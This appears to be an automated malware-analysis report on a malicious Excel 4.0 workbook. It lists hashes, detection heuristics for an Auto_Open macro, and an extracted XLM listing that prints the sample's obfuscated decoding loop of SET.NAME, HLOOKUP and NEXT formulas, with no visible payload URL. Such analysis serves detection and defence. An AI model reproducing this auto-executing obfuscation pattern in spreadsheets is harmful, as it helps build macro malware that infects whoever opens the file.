Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 664313be0d6e8b96…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:04 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 4de39cffd45c1df6ad62a9007866e331 SHA-1: 129a383a8fa7918d62cde55183133a5df2f3f625 SHA-256: 664313be0d6e8b968116facdd79d43518c888613c5f431577a6a556129a1886d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6766 bytes
SHA-256: a9073953c94598d7863cff1fe281edb8ff9e838e4b407c1f370e7696e2bb8658
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  UfuaPmAI
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E183 
' 0018     26 LABEL : Cell Value, String Constant - bQATYPXYCXl len=0 
' 0018     26 LABEL : Cell Value, String Constant - CeAMfKCstww len=0 
' 0018     24 LABEL : Cell Value, String Constant - CjttwULAY len=0 
' 0018     22 LABEL : Cell Value, String Constant - CXOgfVN len=0 
' 0018     23 LABEL : Cell Value, String Constant - CzIeUqSU len=0 
' 0018     24 LABEL : Cell Value, String Constant - dEXMbJEit len=0 
' 0018     21 LABEL : Cell Value, String Constant - DgPLmK len=0 
' 0018     24 LABEL : Cell Value, String Constant - DLncipkmY len=0 
' 0018     20 LABEL : Cell Value, String Constant - enwEt len=0 
' 0018     24 LABEL : Cell Value, String Constant - eVYjGIzJu len=0 
' 0018     20 LABEL : Cell Value, String Constant - GnhvF len=0 
' 0018     27 LABEL : Cell Value, String Constant - JRufEBayiTem len=0 
' 0018     27 LABEL : Cell Value, String Constant - LzsZhDuPzSwO len=0 
' 0018     24 LABEL : Cell Value, String Constant - PJEIPnbLR len=0 
' 0018     27 LABEL : Cell Value, String Constant - PsMgOtjoAygf len=0 
' 0018     23 LABEL : Cell Value, String Constant - TjOhzqGv len=0 
' 0018     23 LABEL : Cell Value, String Constant - vZIHKsac len=0 
' 0018     23 LABEL : Cell Value, String Constant - XWUNbgKB len=0 
' 0018     25 LABEL : Cell Value, String Constant - YKFtqgVMgk len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZEZYb len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  UfuaPmAI,S75,"",459.00000000000000000000
'  UfuaPmAI,S76,"",-104.00000000000000000000
'  UfuaPmAI,S77,"",-186.00000000000000000000
'  UfuaPmAI,S78,"",-631.00000000000000000000
'  UfuaPmAI,S79,"",-95.00000000000000000000
'  UfuaPmAI,S80,"",-926.00000000000000000000
'  UfuaPmAI,E81,"SET.NAME("enwEt",0+VALUE("0"))",""
'  UfuaPmAI,E84,"SET.NAME("bQATYPXYCXl",enwEt)",""
'  UfuaPmAI,E87,"SET.NAME("dEXMbJEit",enwEt)",""
'  UfuaPmAI,E89,"SET.NAME("GnhvF",COUNTA(LzsZhDuPzSwO))",""
'  UfuaPmAI,E94,"SET.NAME("YKFtqgVMgk",COUNTA(CjttwULAY))",""
'  UfuaPmAI,E99,[],""
'  UfuaPmAI,E103,"SET.NAME("XWUNbgKB","")",""
'  UfuaPmAI,E107,"bQATYPXYCXl",""
'  UfuaPmAI,E111,"SET.NAME("JRufEBayiTem",HLOOKUP("*",LzsZhDuPzSwO,bQATYPXYCXl,FALSE))",""
'  UfuaPmAI,E116,"CXOgfVN",""
'  UfuaPmAI,E121,"SET.NAME("TjOhzqGv",enwEt)",""
'  UfuaPmAI,E125,[],""
'  UfuaPmAI,E129,"TjOhzqGv",""
'  UfuaPmAI,E131,"CeAMfKCstww",""
'  UfuaPmAI,E136,"PJEIPnbLR",""
'  UfuaPmAI,E141,"eVYjGIzJu",""
'  UfuaPmAI,E144,"SET.NAME("vZIHKsac",VALUE(HLOOKUP("*",CjttwULAY,eVYjGIzJu,FALSE)))",""
'  UfuaPmAI,E149,"DLncipkmY",""
'  UfuaPmAI,E151,"XWUNbgKB",""
'  UfuaPmAI,E155,"dEXMbJEit",""
'  UfuaPmAI,E160,NEXT(),""
'  UfuaPmAI,E165,"ZEZYb",""
'  UfuaPmAI,E170,[],""
'  UfuaPmAI,E175,"PsMgOtjoAygf",""
'  UfuaPmAI,E178,NEXT(),""
'  UfuaPmAI,E180,RETURN(),""
'  UfuaPmAI,E208,"SET.NAME("CzIeUqSU",E81)",""
'  UfuaPmAI,E212,"LzsZhDuPzSwO",""
'  UfuaPmAI,E216,"SET.NAME("CjttwULAY",R83C12)",""
'  UfuaPmAI,E218,"SET.NAME("PsMgOtjoAygf",226)",""
'  UfuaPmAI,E221,"SET.NAME("DgPLmK",5)",""
'  UfuaPmAI,E225,CzIeUqSU(),""
'  UfuaPmAI,E226,HALT(),""